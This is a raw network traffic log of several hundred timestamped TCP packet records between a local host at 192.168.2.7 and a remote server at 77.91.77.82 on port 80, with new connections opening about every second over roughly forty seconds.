Jul 2, 2024 12:23:22.035623074 CEST	55362	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:22.037664890 CEST	55363	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:22.040756941 CEST	80	55362	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:22.042470932 CEST	80	55363	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:22.044888973 CEST	55362	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:22.044914961 CEST	55363	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:22.045106888 CEST	55363	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:22.049815893 CEST	80	55363	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:22.762979031 CEST	80	55363	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:22.763037920 CEST	55363	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:22.883951902 CEST	55363	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:22.884530067 CEST	55364	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:22.889214039 CEST	80	55363	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:22.889264107 CEST	55363	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:22.889297009 CEST	80	55364	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:22.889352083 CEST	55364	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:22.889916897 CEST	55364	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:22.894655943 CEST	80	55364	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:23.614275932 CEST	80	55364	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:23.614336014 CEST	55364	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:23.618650913 CEST	55364	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:23.619105101 CEST	55365	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:23.623670101 CEST	80	55364	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:23.623718023 CEST	55364	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:23.624001026 CEST	80	55365	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:23.624097109 CEST	55365	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:23.624196053 CEST	55365	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:23.628909111 CEST	80	55365	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:24.329320908 CEST	80	55365	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:24.332918882 CEST	55365	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:24.443639040 CEST	55365	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:24.444001913 CEST	55366	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:24.448983908 CEST	80	55366	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:24.448992014 CEST	80	55365	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:24.449158907 CEST	55365	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:24.449158907 CEST	55366	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:24.449497938 CEST	55366	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:24.454241037 CEST	80	55366	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:25.151875973 CEST	80	55366	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:25.151933908 CEST	55366	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:25.155805111 CEST	55366	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:25.156250000 CEST	55367	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:25.161026955 CEST	80	55367	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:25.161078930 CEST	80	55366	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:25.161101103 CEST	55367	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:25.161123991 CEST	55366	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:25.161400080 CEST	55367	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:25.166246891 CEST	80	55367	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:25.847846031 CEST	80	55367	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:25.852771997 CEST	55367	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:25.959579945 CEST	55368	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:25.959579945 CEST	55367	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:25.965871096 CEST	80	55368	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:25.967104912 CEST	80	55367	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:25.968885899 CEST	55368	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:25.968885899 CEST	55367	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:25.972771883 CEST	55368	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:25.977669954 CEST	80	55368	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:26.693078995 CEST	80	55368	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:26.693370104 CEST	55368	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:26.696134090 CEST	55368	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:26.696764946 CEST	55369	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:26.701318979 CEST	80	55368	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:26.701558113 CEST	80	55369	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:26.701708078 CEST	55369	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:26.701715946 CEST	55368	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:26.704760075 CEST	55369	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:26.711585999 CEST	80	55369	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:27.409389019 CEST	80	55369	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:27.409446955 CEST	55369	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:27.523919106 CEST	55369	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:27.524279118 CEST	55370	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:27.529226065 CEST	80	55370	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:27.529239893 CEST	80	55369	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:27.529283047 CEST	55370	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:27.529309034 CEST	55369	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:27.529592991 CEST	55370	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:27.534420967 CEST	80	55370	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:28.218702078 CEST	80	55370	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:28.219048977 CEST	55370	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:28.222166061 CEST	55371	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:28.222204924 CEST	55370	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:28.227046967 CEST	80	55371	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:28.227332115 CEST	80	55370	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:28.228152990 CEST	55370	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:28.228276968 CEST	55371	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:28.228276968 CEST	55371	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:28.233026981 CEST	80	55371	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:28.938640118 CEST	80	55371	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:28.938709974 CEST	55371	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:29.054510117 CEST	55371	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:29.054872990 CEST	55372	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:29.059700012 CEST	80	55372	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:29.059787035 CEST	80	55371	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:29.059792042 CEST	55372	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:29.059825897 CEST	55371	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:29.060051918 CEST	55372	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:29.064809084 CEST	80	55372	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:29.767106056 CEST	80	55372	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:29.767189026 CEST	55372	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:29.784506083 CEST	55372	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:29.785069942 CEST	55373	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:29.789560080 CEST	80	55372	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:29.789822102 CEST	80	55373	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:29.789948940 CEST	55373	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:29.790028095 CEST	55372	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:29.790170908 CEST	55373	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:29.794903040 CEST	80	55373	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:30.482217073 CEST	80	55373	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:30.482332945 CEST	55373	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:30.727590084 CEST	55373	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:30.728172064 CEST	55374	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:30.732728004 CEST	80	55373	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:30.732944965 CEST	80	55374	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:30.733046055 CEST	55374	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:30.733046055 CEST	55373	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:30.747318983 CEST	55374	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:30.752085924 CEST	80	55374	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:31.437700987 CEST	80	55374	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:31.437766075 CEST	55374	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:31.443223953 CEST	55374	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:31.443655014 CEST	55375	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:31.448292017 CEST	80	55374	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:31.448335886 CEST	55374	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:31.448663950 CEST	80	55375	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:31.448723078 CEST	55375	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:31.449176073 CEST	55375	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:31.453929901 CEST	80	55375	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:32.516511917 CEST	80	55375	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:32.516926050 CEST	55375	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:32.630872965 CEST	55375	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:32.630878925 CEST	55376	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:32.635713100 CEST	80	55376	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:32.635827065 CEST	55376	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:32.636653900 CEST	55376	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:32.637634993 CEST	80	55375	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:32.639082909 CEST	55375	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:32.641799927 CEST	80	55376	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:33.755651951 CEST	80	55376	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:33.755769968 CEST	55376	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:33.759532928 CEST	55376	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:33.759923935 CEST	55377	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:33.764614105 CEST	80	55376	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:33.764663935 CEST	55376	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:33.764753103 CEST	80	55377	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:33.764868975 CEST	55377	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:33.765042067 CEST	55377	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:33.770415068 CEST	80	55377	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:34.466942072 CEST	80	55377	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:34.467289925 CEST	55377	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:34.585900068 CEST	55377	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:34.586291075 CEST	55378	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:34.591007948 CEST	80	55377	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:34.591355085 CEST	80	55378	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:34.592730045 CEST	55378	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:34.592730045 CEST	55377	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:34.594887018 CEST	55378	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:34.599700928 CEST	80	55378	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:35.696222067 CEST	80	55378	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:35.696330070 CEST	55378	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:35.699580908 CEST	55378	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:35.699948072 CEST	55379	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:35.706258059 CEST	80	55379	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:35.706330061 CEST	55379	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:35.706419945 CEST	80	55378	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:35.706532001 CEST	55378	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:35.706666946 CEST	55379	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:35.711894035 CEST	80	55379	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:36.395394087 CEST	80	55379	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:36.399048090 CEST	55379	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:36.505965948 CEST	55379	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:36.506911039 CEST	55380	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:36.511518955 CEST	80	55379	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:36.511964083 CEST	80	55380	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:36.512084961 CEST	55379	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:36.512095928 CEST	55380	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:36.512363911 CEST	55380	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:36.517081976 CEST	80	55380	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:37.212469101 CEST	80	55380	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:37.212547064 CEST	55380	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:37.215987921 CEST	55380	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:37.216388941 CEST	55381	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:37.221132994 CEST	80	55380	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:37.221191883 CEST	55380	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:37.221237898 CEST	80	55381	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:37.221296072 CEST	55381	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:37.221489906 CEST	55381	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:37.226656914 CEST	80	55381	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:37.937031984 CEST	80	55381	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:37.943805933 CEST	55381	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:38.054821014 CEST	55381	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:38.054821014 CEST	55382	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:38.059679031 CEST	80	55382	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:38.059825897 CEST	55382	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:38.059967041 CEST	80	55381	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:38.060010910 CEST	55382	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:38.060127020 CEST	55381	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:38.065072060 CEST	80	55382	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:39.104217052 CEST	80	55382	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:39.104276896 CEST	55382	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:39.109180927 CEST	55382	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:39.109503031 CEST	55383	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:39.114343882 CEST	80	55383	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:39.114445925 CEST	55383	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:39.114936113 CEST	80	55382	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:39.114986897 CEST	55382	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:39.115267038 CEST	55383	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:39.120848894 CEST	80	55383	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:40.195197105 CEST	80	55383	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:40.195365906 CEST	55383	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:40.304780006 CEST	55384	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:40.304780006 CEST	55383	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:40.309828997 CEST	80	55384	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:40.309988022 CEST	80	55383	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:40.312907934 CEST	55384	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:40.312907934 CEST	55383	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:40.316827059 CEST	55384	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:40.321551085 CEST	80	55384	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:43.838782072 CEST	80	55384	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:43.843415976 CEST	55384	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:43.843527079 CEST	55384	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:43.848642111 CEST	80	55384	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:43.848696947 CEST	55385	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:43.848778009 CEST	55384	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:43.853580952 CEST	80	55385	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:43.857251883 CEST	55385	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:43.857251883 CEST	55385	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:43.862066031 CEST	80	55385	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:44.557075977 CEST	80	55385	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:44.558999062 CEST	55385	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:44.679104090 CEST	55385	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:44.679104090 CEST	55386	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:44.684075117 CEST	80	55386	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:44.684206963 CEST	55386	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:44.684632063 CEST	55386	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:44.685129881 CEST	80	55385	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:44.685376883 CEST	55385	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:44.689493895 CEST	80	55386	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:54.401618004 CEST	80	55386	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:54.401937962 CEST	55386	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:54.404624939 CEST	55386	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:54.405095100 CEST	55387	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:54.411032915 CEST	80	55386	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:54.411111116 CEST	80	55387	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:54.411139965 CEST	55386	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:54.412878990 CEST	55387	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:54.413136005 CEST	55387	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:54.417917967 CEST	80	55387	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:55.131325006 CEST	80	55387	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:55.131383896 CEST	55387	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:55.242674112 CEST	55387	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:55.243130922 CEST	55388	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:55.247997999 CEST	80	55388	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:55.248058081 CEST	55388	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:55.248064995 CEST	80	55387	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:55.248111010 CEST	55387	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:55.248507977 CEST	55388	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:55.253278971 CEST	80	55388	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:55.959988117 CEST	80	55388	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:55.960139036 CEST	55388	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:55.964795113 CEST	55388	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:55.964797974 CEST	55389	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:55.971190929 CEST	80	55389	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:55.971385002 CEST	55389	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:55.971628904 CEST	80	55388	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:55.971666098 CEST	55389	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:55.971879959 CEST	55388	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:55.977751970 CEST	80	55389	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:56.675754070 CEST	80	55389	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:56.681126118 CEST	55389	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:56.788805962 CEST	55390	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:56.788805962 CEST	55389	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:56.793673038 CEST	80	55390	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:56.794127941 CEST	80	55389	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:56.796914101 CEST	55390	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:56.796914101 CEST	55389	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:56.800776958 CEST	55390	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:56.805558920 CEST	80	55390	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:57.502302885 CEST	80	55390	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:57.502356052 CEST	55390	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:57.508241892 CEST	55390	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:57.508764982 CEST	55391	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:57.513263941 CEST	80	55390	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:57.513314009 CEST	55390	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:57.513521910 CEST	80	55391	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:57.513593912 CEST	55391	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:57.514098883 CEST	55391	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:57.518881083 CEST	80	55391	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:58.222681999 CEST	80	55391	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:58.222820997 CEST	55391	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:58.334660053 CEST	55391	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:58.334664106 CEST	55392	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:58.339495897 CEST	80	55392	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:58.339767933 CEST	80	55391	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:58.339901924 CEST	55391	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:58.339909077 CEST	55392	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:58.341317892 CEST	55392	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:58.346052885 CEST	80	55392	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:59.040704966 CEST	80	55392	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:59.040772915 CEST	55392	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:59.044832945 CEST	55392	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:59.045173883 CEST	55393	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:59.050039053 CEST	80	55392	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:59.050050974 CEST	80	55393	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:59.050143957 CEST	55392	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:59.050182104 CEST	55393	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:59.050637960 CEST	55393	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:59.055437088 CEST	80	55393	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:59.766566038 CEST	80	55393	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:59.766637087 CEST	55393	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:59.884784937 CEST	55394	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:59.884784937 CEST	55393	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:59.889801025 CEST	80	55394	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:59.889960051 CEST	80	55393	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:59.892908096 CEST	55394	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:59.892908096 CEST	55393	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:59.896780014 CEST	55394	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:59.901608944 CEST	80	55394	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:00.588934898 CEST	80	55394	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:00.595467091 CEST	55394	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:00.595468044 CEST	55394	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:00.596793890 CEST	55395	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:00.601632118 CEST	80	55395	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:00.604979038 CEST	55395	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:00.604979038 CEST	55395	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:00.610002041 CEST	80	55395	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:00.610444069 CEST	80	55394	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:00.616784096 CEST	55394	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:01.308449984 CEST	80	55395	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:01.308518887 CEST	55395	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:01.415683031 CEST	55395	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:01.416140079 CEST	55396	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:01.420939922 CEST	80	55395	77.91.77.82	192.168.2.7
